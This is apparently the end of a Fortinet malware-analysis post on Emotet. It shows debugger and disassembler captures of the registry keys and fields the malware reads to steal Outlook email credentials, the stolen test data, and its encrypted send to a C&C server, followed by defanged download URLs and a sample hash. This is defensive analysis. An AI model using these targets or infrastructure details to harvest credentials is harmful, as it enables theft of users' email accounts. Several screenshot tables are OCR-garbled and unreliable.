| 📃 IDA Vie 🔀 🛛 📘 IDA '   | Vie 🗵 🔄 Strings win 🗵     | 🖸 Hex Vie        | \Lambda Struct 🖂 | 🗄 En 🗵       | 🛐 Imp 🔣       | 🛃 Exp 🗵 |
|-------------------------|---------------------------|------------------|------------------|--------------|---------------|---------|
| seg000:00413871         | align 4                   |                  |                  |              |               | ^       |
| seg000:00413874 aSof    | twareMicros db 'Softwar   | e\Microsoft\Int  | ernet Account    | Manager\Acc  | counts',0     |         |
| seg000:00413874         |                           | ;                | DATA XREF: sub   | _402C1E+9F1  | îo            |         |
| seg000:00413874         |                           | ;                | sub_403C17+C01   | 0            |               |         |
| seg000:004138A9         | align 4                   |                  |                  |              |               |         |
| seg000:004138AC aSS     | db '%s\%s',               | 0;               | DATA XREF: sub   | _402C1E+621  | to            |         |
| seg000:004138B2         | align 4                   |                  |                  |              |               |         |
| seg000:004138B4 aSof    | twareMicr_0 db 'Softwar   | e\Microsoft\Off  | ice\Outlook\OM   | II Account I | Manager\Accou | nts',0  |
| seg000:004138B4         |                           | ;                | DATA XREF: sub   | _402C1E:100  | c_402CFB1o    |         |
| seg000:004138B4         |                           | ;                | sub_403C17+E51   | 0            |               |         |
| seg000:004138F3         | align 4                   |                  |                  |              |               |         |
| seg000:004138F4 aDis    | playname db 'Display      | Name',0 ;        | DATA XREF: sub   | _402D74+591  | Îo            |         |
| seg000:00413900 aEma    | iladdress db 'EmailAd     | dress',0 🔅       | DATA XREF: sub   | _402D74+861  | îo            |         |
| seg000:0041390D         | align 10h                 |                  |                  |              |               |         |
| seg000:00413910 aPop    | account db 'PopAcco       | unt',0 ;         | DATA XREF: sub   | _402D74+9C1  | Îo            |         |
| seg000:00413910         |                           | ;                | sub_403127+100   | lîo          |               |         |
| seg000:0041391B         | align 4                   |                  |                  |              |               |         |
| seg000:0041391C aPop    | server db 'PopServ        | er',0 ;          | DATA XREF: sub   | _402D74+B21  | ÎO            |         |
| seg000:0041391C         |                           | ;                | sub_403127+621   | 0            |               |         |
| seg000:00413926         | align 4                   |                  |                  |              |               |         |
| seg000:00413928 aPop    | port db 'PopPort          | ',0 ;            | DATA XREF: sub   | _402D74+C51  | Î O           |         |
| seg000:00413930 aPop    | logsecure db 'PopLogS     | ecure',0 ;       | DATA XREF: sub   | _402D74+D61  | ែ             |         |
| seg000:0041393D         | align 10h                 |                  |                  |              |               |         |
| seg000:00413940 aPop    | password db 'PopPass      | word',0 ;        | DATA XREF: sub   | _402D74+F11  | ĩo            |         |
| seg000:0041394C aSmt    | paccount db 'SMTPAcc      | ount',0 ;        | DATA XREF: sub   | _402D74+136  | 510           |         |
| seg000:00413958 aSmt    | pserver db 'SMTPSer       | ver',0 ;         | DATA XREF: sub   | _402D74+14(  | Cîo           |         |
| seg000:00413958         |                           | ;                | sub_4033B1+3C1   | 0            |               |         |
| seg000:00413963         | align 4                   |                  |                  |              |               |         |
| seg000:00413964 aSmt    | pport db 'SMTPPor         | t',0 ;           | DATA XREF: sub   | _402D74+162  | 210           |         |
| seg000:0041396D         | align 10h                 |                  |                  |              |               |         |
| seg000:00413970 aSmt    | plogsecure db 'SMTPLog    | Secure',0 ;      | DATA XREF: sub   | _402D74+176  | 510           |         |
| seg000:0041397E         | align 10h                 |                  |                  |              |               |         |
| seg000:00413980 aSmt    | ppassword db 'SMTPPas     | sword',0 ;       | DATA XREF: sub   | _402D74+191  | 1īo           |         |
|                         |                           |                  |                  |              |               |         |
| 00013928 00413928: seg0 | 00:aPopport (Synchronized | with Hex View-1) |                  |              |               | ×       |
| <                       |                           |                  |                  |              |               | >       |

Figure 10. Targeted email-related credentials

For testing purposes, I added a test account into MS Office Outlook to see how it works. The account profile is shown here in Figure 11:

| E-mail | Data Files RSS Feeds Sha                              | arePoint Lists   Internet Calendars | Published Calendars Address Books                    |  |  |  |  |  |  |  |  |
|--------|---|-------------------------------------|--|--|--|--|--|--|--|--|--|
| ſ      | hange Account   |                                     |  |  |  |  |  |  |  |  |  |
| ¢      | Internet E-mail Settings<br>Each of these settings ar | e required to get your e-mail acco  | unt working.   |  |  |  |  |  |  |  |  |
|        | User Information                                      |                                     | Test Account Settings                                |  |  |  |  |  |  |  |  |
|        | Your Name:  | just_test                           | After filling out the information on this screen, we |  |  |  |  |  |  |  |  |
|        | E-mail Address:                                       | test1_test1@gmail.com               | below. (Requires network connection)                 |  |  |  |  |  |  |  |  |
|        | Server Information                                    |                                     | Test Account Settings                                |  |  |  |  |  |  |  |  |
| Se     | Account Type:   | POP3 👻                              |  |  |  |  |  |  |  |  |  |
|        | Incoming mail server:                                 | pop.gmail.com                       | Test Account Settings by clicking the Next button    |  |  |  |  |  |  |  |  |
|        | Outgoing mail server (SMTP):                          | smtp.gmail.com                      |  |  |  |  |  |  |  |  |  |
|        | Logon Information                                     |                                     |  |  |  |  |  |  |  |  |  |
|        | User Name:  | test11                              |  |  |  |  |  |  |  |  |  |
|        | Password:   | ******                              |  |  |  |  |  |  |  |  |  |
|        | 📝 R   | Remember password                   |  |  |  |  |  |  |  |  |  |
|        | Require logon using Secure                            | Password Authentication (SPA)       | More Settings  |  |  |  |  |  |  |  |  |
|        |   |                                     | < Back Next > Cancel                                 |  |  |  |  |  |  |  |  |

Figure 11. Test account added into Outlook

The stolen credential data is saved in the temporary file specified in the command line parameter, where it will be encrypted and sent to the C&C server in the ThreadFunction. In the following several figures you can see the stolen credential information in the temporary file, the data in memory before encryption, and the data sent to the C&C server.

| A98B.tmp - Notepad   | _    |         | ×    |
|--|------|---------|------|
| <u>File E</u> dit F <u>o</u> rmat <u>V</u> iew <u>H</u> elp  |      |         |      |
| <pre>just_test,MS Outlook 2002/2003/2007/2010,test1_test1@gmail.com,pop.gmail.com,,No,POP3,test11,"*passwo ,Strong,smtp.gmail.com,</pre> | rd*" | ,Outloo | ok ^ |
|  |      |         |      |

### Figure 12. Stolen credential

| Paused    | 2                    | ×            |              |           |          | •        | H                |           | -        | •           |          | LE                   | M  | Τ        | W   | HC/K                          | B R             | S    | 8         |     |
|-----------|----------------------|--------------|--------------|-----------|----------|----------|------------------|-----------|----------|-------------|----------|----------------------|----|----------|-----|-------------------------------|-----------------|------|-----------|-----|
| 749D5368  | 6A                   | 24           |              |           | r        | bush     | 1                | - 24      | 4        |             |          |                      |    |          |     |                               | CryptEnd        | rypt |           |     |
| 749D536A  | 68                   | <u>681</u>   | 89E'         | 74        | I        | bush     | 1                | -76       | 49E1     | 1868        | 8        |                      |    |          |     |                               |                 |      |           |     |
| 749D536F  | E8                   | CC3          | 5000         | 00        |          | all      | L                | -76       | 49D8     | 3940        | 0        |                      |    |          |     |                               |                 |      |           |     |
| 7/01637/  | 1 334                | <u> </u>     |              |           |          |          |                  |           | d        |             |          |                      |    |          |     |                               | 1               |      |           |     |
|           |                      |              |              |           |          |          |                  |           |          |             |          |                      |    |          |     |                               |                 |      |           |     |
|           |                      |              |              |           |          |          |                  |           |          |             |          |                      |    |          |     |                               |                 |      |           |     |
|           |                      |              |              |           |          |          |                  |           |          |             |          |                      |    |          |     |                               |                 |      |           |     |
| 0066558C  | 08 12                | 2 12         | AЗ           | 01        | 0A       | 14       | 41               | 44        | 4D       | 49          | 4E       | 2D                   | 50 | 43       | 5F  | 🔰 1?. ¶ADI                    | MIN-PC          | -    | 0324F864  | 00  |
| 0066559C  | 55 53                | 3 <u>5</u> F | 38           | 31        | 39       | 44       | 39               | 36        | 45       | 37          | 12       | A8                   | 01 | 6A       | 75  | S_819D9                       | 6E71?ju         |      | 0324F868  | 00  |
| 006655AC  | 73-74<br> CE-CE      | 1 5F         | 74           | 65        | 73       | 74       | 2C               | 4D        | 53       | 20          | 41       | 75                   | 74 | 6C       | 61  | st_test,                      | MS Outlo        |      | 0324F86C  | 00  |
| 006655500 | 107 00<br>127 00     | ) 20<br>r 20 | 32           | 30        | 30       | 32<br>00 | 2 <b>Г</b><br>74 | 32        | 30       | 30          | 23       | ZF                   | 52 | 30       | 34  | OK 2002/:                     | 2003/200        | 1    | 03245870  | 00  |
| 00665500  | 31 - 20<br>  74 - 31 | - 32<br>- 40 | 67           | AD        | 61<br>61 | 20<br>60 | 60               | 00<br>217 | 61       | 14<br>73    | ST<br>6D | $\frac{2\Gamma}{2C}$ | 70 | 60<br>88 | -   | //2010,t)<br> +1@gmail        | esti_tes        | 1    | 03246674  | 00  |
| 006655EC  | 12E 67               | 7 6D         | 61           | 69        | 6C       | 2E       | 63               | 6F        | 6D       | 2C          | 20       | 4E                   | 6F | 20       | 5   | gmail c                       | om No Pl        |      | 0324F87C  | 03  |
| 006655FC  | 4F 50                | 33           | $\tilde{2C}$ | 74        | 65       | 73       | 74               | 31        | 31       | 2C          | 22       | 2A                   | 70 | 61       | 7   | OP3. test                     | 11. ″*pasl      | 1    | 0324F880  | 00  |
| 0066560C  | 73 77                | 7 6F         | 72           | 64        | 2Ă       | 22       | 2Ĉ               | 4F        | 75       | 74          | 6Ĉ       | 6F                   | 6F | 6B       | 20  | sword*".                      | Outlook.        |      | 0324F884  | 00  |
| 0066561C  | 53 74                | 172          | 6F           | 6E        | 67       | 2C       | 73               | 6D        | 74       | 70          | 2E       | 67                   | 6D | 61       | 69  | Strong, s                     | mtp.gmai        |      | 0324F888  | 00  |
| 0066562C  | 6C 2E                | 63           | 6F           | 6D        | 2C       | OD       | 0A               | 30        | 56       | 66          | 00       | 00                   | 00 | 00       | 00  | 🔪 com, I                      | QVf/            |      | 0324F88C  | -00 |
| 0066563C  | 00 00                | 00 (         | 00           | 52        | C7       | D8       | 5F               | E4        | D9       | 00          | 00       | ΕO                   | 19 | 69       | 00  | R秦_                           | 滟?j/            |      | 0324F890  | -00 |
| 0066564C  | 80 44                | 4 66         | 00           | 50        | 56       | 66       | 00               | 50        | 56       | 66          | 00       | 6C                   | 55 | 66       | 00  | €JI PVf.                      | .PVf.1Uf.       |      | 0324F894  | 00  |
| 0066565C  |                      | 00 00        | 00           | 00        | 00       | 00       | 00               | 00        | 00       | 00          | 00       | 00                   | 00 | 00       | 00  |                               | հա≎ ∎≁⊡վ        |      | 0324F898  | 00  |
| 00665660  | 14 US                |              | 00           | 54        | C3       | DI       | 54               | C4        | D9       | 00          | 08       | 18                   | 84 | 55       | 00  | 4  1凹还11<br> 2701.c           | 俊.≌ 別. <br>少因店。 |      | 0324F89C  | 00  |
| 006655070 | 00 00                |              | 00           | 00        | 15       | 12       | DO               |           | DU<br>ធា | U.D.<br>TRO | ru<br>AC | 82                   | 70 | 05       | 10  | AMIT                          | 化凹俱7<br>20199   |      | 0324F 8AU | 03  |
| 000000080 |                      | 00 ק<br>מע ל | 00<br>RF     | 00<br>F/J | 10       | 10       | 00               | 01        | 00       | 01          | 40       | 35                   | 20 | 90       | 1.9 | ••••卯 <sup>−</sup> ‼型<br> 紺•9 | Zyzŋ⊑//<br>⊑    |      | 03240684  | 76  |
| 006656AC  |                      | 1 66         | 00           | मम        | नन       | नन       | नन               | 00        | 00       | 00          | 00       | 00                   | 00 | 00       | 00  | 4f • •                        | •••             |      | 0324F8AC  | 00  |
| 000000110 | 0.01                 |              | ~~           | 11        | 11       |          | 11               | ~~        | ~~       | ~~          | ~~       | ~~                   | ~~ | ~~       | ~~  | • • • •                       |                 |      | 002110110 | ~   |

# Figure 13. Before encryption

| ⊁ Oliyic | E [*                 | °C.P.U* - f      | thread 00              | 000B5C, | modul         | e ws2_32       | 2]            |                |                |              |          |            |   |           |                   |                  |               |
|----------|----------------------|------------------|------------------------|---------|---------------|----------------|---------------|----------------|----------------|--------------|----------|------------|---|-----------|-------------------|------------------|---------------|
| C File   | View                 | Debug            | Plugins                | Optio   | ns W          | indow          | Help          |                |                |              |          |            |   |           |                   |                  | _ 8 >         |
| Paused   |                      | <b>**</b>        |                        | •       |               | •              |               | LE             | МТ             | W            | HC/K     | B R S      |   | 1         |                   |                  |               |
| 75FCC40  | 28                   | 8BFF             |                        | mov     | ,             | edi,           | edi           |                |                |              |          | send       |   |           | ^ Reg             | isters (FPU)     |               |
| 75FCC4   | CA                   | 55               |                        | pus     | sh            | ebp            |               |                |                |              |          |            |   |           | - EDX             | 00000000         |               |
| edi=000  | 5779B                | 0                |                        |         |               |                |               |                |                |              |          |            |   |           | EBX               | 00000378         |               |
| 0060381  | 20/47                | -<br>15 54       | 20 28                  | 20.49   | 2 5/          | 54 50          | 28 2          | 21 9F          | 31 OT          | 1 04         | CRT / HT | TP/1 1     |   | 032486201 | 76301037          | CALL to cend fr  | com wininet . |
| 006630   | 10 43                | 40 04<br>48 48   | 6B 69                  | 65 30   | 201           | 43 30          | 32.6          | 16 3D          | 69 40          | , or<br>. 22 | Cookie:  | CO2E=:IW   |   | 0324F020  | 00000378          | Socket = 378     |               |
| 006636   | 10179                | 34 6B            | 67 45                  | 77 4)   | 70            | 38 62          | 6E 1          | 5 4C           | 7A 49          | 2 53         | v4kgEwIn | 8bnul zHS  |   | 0324F634  | 006C3BE0          | Data = 0.06C3BE( | 1             |
| 006C3C   | 20 44                | 48 68            | 42 57                  | 6F 73   | 2 6Ĕ          | 25 45          | 52 3          | 38 50          | 40 50          | 2 43         | DHhBWorn | 7CR8PMSC   |   | 0324F638  | 0000024C          | DataSize = 24C   | (588.)        |
| 006C3C   | 30 4F                | 74 70            | 43 38                  | 31      | 47            | 51 4F          | 6C 6          | 33 4F          | 69 41          | 7 36         | ConC81XG | Q01c0iG6   |   | 0324F63C  | 00000000          | Flags = 0        | (000.)        |
| 006C3C   | 10 76                | 36 33            | 75 57                  | 59 35   | 5 78          | 33 63          | 43 1          | 2 4B           | 52 61          | 45           | v63uw35x | 3cCrKRaE   |   | 0324F640  | 00000000          |                  |               |
| 006C3C   | 50 32                | 4E 56            | 45 52                  | 66 4'   | 7 6B          | 68 55          | 63 4          | 1E 73          | 4F 72          | 2 31         | 2NVERfGR | NcNsOr1    |   | 0324F644  | 0065F600          |                  |               |
| 006030   | 50 64                | 6A 49            | JF 6F                  | 74 59   | 9 4C          | 68 77          | 66 5          | SA 4C          | 66 31          | 64           | djIootYL | hwIZLf7d   |   | 0324F648  | 0063B9D8          |                  |               |
| 006C3C   | 70 46                | - 5A 🏏           | 31 31                  | 6A 48   | 3 76          | 34 47          | 4A 6          | SC 69          | 38 2F          | ° 59         | FZq11jHv | 4GJ1 8/Y   |   | 0324F64C  | 0324F638          |                  |               |
| 006C3C   | 30 49                | - 66 <b>6</b> C  | 41 36                  | 37 43   | 3 37          | 4C 6F          | 5A 4          | 4D 41          | 68 35          | 5 75         | If1A67C7 | LoZMAh.u   |   | 0324F650  | 00000000          |                  |               |
| 006C3C   | 90   4C              | 5 79             | 6B 35                  | 6E 34   | 4 61          | 6E 50          | 38 4          | 4F 51          | 30 70          | ) 2F         | LZyk5n4a | nP80Q0p    |   | 0324F654  | 0324FF50          |                  |               |
| 006030/  | 40 47                | 5 49             | 6B 6A                  | 71 43   | 3 39          | 79 61          | 59 3          | 35 6A          | 73 70          | ) 53         | GUIkjqC9 | yaY5jspS   |   | 0324F658  | C0324F674         |                  |               |
| 006C3CI  | 30 31                | 6 30             | 54 5A                  | 39 42   | 2 78          | 68 30          | 2F 3          | 35 35          | 59 73          | 3 79         | 1f0TZ9Bx | h0/55Ysy   |   | 0324F65C  | 76386593          | RETURN to wining | et.76386593   |
| 006C3C   | CO   6B              | 72 4E            | 6B 44                  | 57 66   | 5 47          | 76 61          | 4E 5          | 58 48          | 41 35          | 5 35         | krNkDWfG | vaNXHA55 📘 |   | 0324F660  | 006A1758          |                  |               |
| 006C3CI  | 00   6F              | 4E 58            | -58 7A                 | 51 36   | 5 64          | 70 33          | 38 6          | SC 76          | 70 6F          | 51           | oNXXzQ6d | p381vpoQ   |   | 0324F664  | 00657CB0          |                  |               |
| 006C3CI  | 30   4E              | 47 4C            | 6F 62                  | 4A 4H   | 72            | 52 59          | 42 5          | 55 41          | 45 6E          | 3 50         | NGLobJOr | RYBUAEkP   |   | 0324F668  | 0324F674          |                  |               |
| 006C3CI  | 70 45                | 9 69             | 4A 66                  | 6E 61   | . 75          | 34 44          | 2F 3          | 39 51          | 48 64          | 4 6D         | EIiJfnau | 4D/9QHjm   |   | 0324F66C  | 76391C60          | RETURN to wining | et.76391C60   |
| 006C3D   | 00 36                | 66 39            | 4A 6F                  | 59 61   | 50            | 4A 41          | 36 5          | 59 35          | 59 65          | 5 7A         | 6f9JoYaP | JA6Y5Yez   |   | 0324F670  | L00000000         |                  |               |
| 006C3D   |                      | 45 53            | 5A 58                  | 4D 49   | 9 46          | 74 78          | 5A 6          | SD 4B          | 41 71          | . 61         | OESZXMIF | t xZmKAca  |   | 0324F674  | <b>-</b> 0324F6B4 |                  |               |
| 006C3D   | 20 31                | 55 33            | 55 57                  | 67 71   | 4 6C          | 61 51          | 61 4          | HF 45          | 50 54          | 1 54         | 1030Wgzl | aQaOEFZT   |   | 0324F678  | 76388607          | RETURN to wining | et.76388607   |
| 006C3D   | 30 69                | 42 40            | 46 32                  | 79 6/   | A 6B          | 43 6A          | 5A 4          | 11 6B          | 44 41          | 1 49         | 1BLF2yjk | CJZAKDMI   |   | 0324F67C  | 00654600          |                  |               |
| 006C3D   | 10 74                | 6E 63            | 45151                  | 5F 21   | 5 52          | 38 32          | 4A )          | 8 43           | 71 46          | 5 36         | tncxWo+K | 8 XCqNb    |   | U324F680  | 006A1758          |                  |               |
| 006030   |                      | bî bA            | 45                     | 74 6.   | 30            | 41 18          | 70 3          | 88 70          | 16 30          | 157          | +gjEUta  | GXDSDVUW   |   | 0324F684  | 00000000          |                  |               |
| 006030   | DU   3 (<br>70   4 A | 00 4E            | 40 6A                  | 72 (.   | 41            | 05 52          | 10 3          | 54 6Z          | 24 50          | 5 4F         | (IN JgqG | eKp4bXhU   |   | 03245688  | 80000000          |                  |               |
| 006030   |                      | . 31 48<br>21 60 | 03 41                  | 66 70   | 2 401         | 31 70          | 45 1          | 8 19           | 34 52          | CD.          | JIHCASAZ | IDEXY4RZ   |   | 0324F68U  | 00000000          |                  |               |
| 006030   | SU ZD                | 01 02<br>76 41   | - 24   14<br>- 20   20 | 00 00   | ) 43 <br>) 43 | 40 TO<br>72 CE | 70.0          | D 41           | 67 65          | 00<br>00     | +104tISI | EpQ/JAOm   |   | 03246690  | 00000000          |                  |               |
| 006030   | 90   31<br>Vol 74    | 24 20            |                        | 71 G    | 1 22          | 67 61          | 14 4<br>910 9 | 2D 41<br>25 25 | 20 20          | ) 0E<br>) 70 | TVAU     | ser-Agen   |   | 03246034  | 000000000         |                  |               |
| 006030   | 20163                | 0A 20<br>68 60   | 70 61                  | 74 60   | 2 62          | 80 85          | SR 0          | 20 ZE          | 50 20          | / ZO         | compatib | 1a/0.0 (   |   | 03241030  | 000000000         |                  |               |
| 006630   | 10 20                | 32 28            | 30 38                  | 20 5    | 69            | 6F 64          | 61 7          | 77 73          | 20 41          | 7 40<br>1 54 |          | ndowe MT   |   | 0324F640  | 00641759          |                  |               |
| 006630   | 10 20                | 35 26            | 31 3B                  | 20 5    | 3 40          | 43 43          | 31 9          | 3B 20          | 20 41<br>2F 4F | 1 45         | 5 1 SL   | CC1 · NE   | - | 0324F6A4  | 08500304          |                  |               |
| 006C3D   | 20154                | 20 43            | 4C 52                  | 20 31   | 26            | 31 2E          | 34 3          | 33 32          | 32 20          | 1 00         | T CIR 1  | 1 4322)    |   | 0324F6A8  | 0916B719          |                  |               |
| 006C3D   | ADIOS                | 48 65            | 73 74                  | 3A 20   | 31            | 31 35          | 2E 3          | 32 38          | 2E 30          | ) 2E         | Host · 1 | 15 28 0    |   | 0324F6AC  | 00000001          |                  |               |
| 006C3E   | 00 31                | 39 33            | 3A 34                  | 34 33   | 3 OD          | 0A 43          | 6F 6          | SE 6E          | 65 63          | 3 74         | 193:443  | . Connect  |   | 0324F6B0  | B8D04526          |                  |               |
| DORCSE.  | in lao               | TA TA            | 34 20                  | AR A    | 6 65          | 70 20          | 11 0          | in an          | 76 60          | ะ กก         | lion Kee | n-Aliva    | - | 0324F6R4  | LOSDARECC         |                  | -             |

# Solution

The original JS file has been detected as **JS/Nemucod.F436!tr** and the downloaded Emotet exe has been detected as **W32/GenKryptik.ADJR!tr** by the FortiGuard Antivirus service.

### loC

### URL:

"hxxp://willemberg.co.za/TwnZ36149pKUsr/"

"hxxp://meanconsulting.com/K44975X/"

"hxxp://microtecno.com/i17281nfryG/"

"hxxp://thefake.com/Y96158yeXR/"

"hxxp://cdoprojectgraduation.com/eaSz15612O/"

### Sample SHA256:

Invoice\_779\_Apr\_25\_2017\_lang\_gb\_GB779.js

B392E93A5753601DB564E6F2DC6A945AAC3861BC31E2C1E5E7F3CD4E5BB150A4

### **Related Posts**

Copyright © 2022 Fortinet, Inc. All Rights Reserved

Terms of ServicesPrivacy Policy | Cookie Settings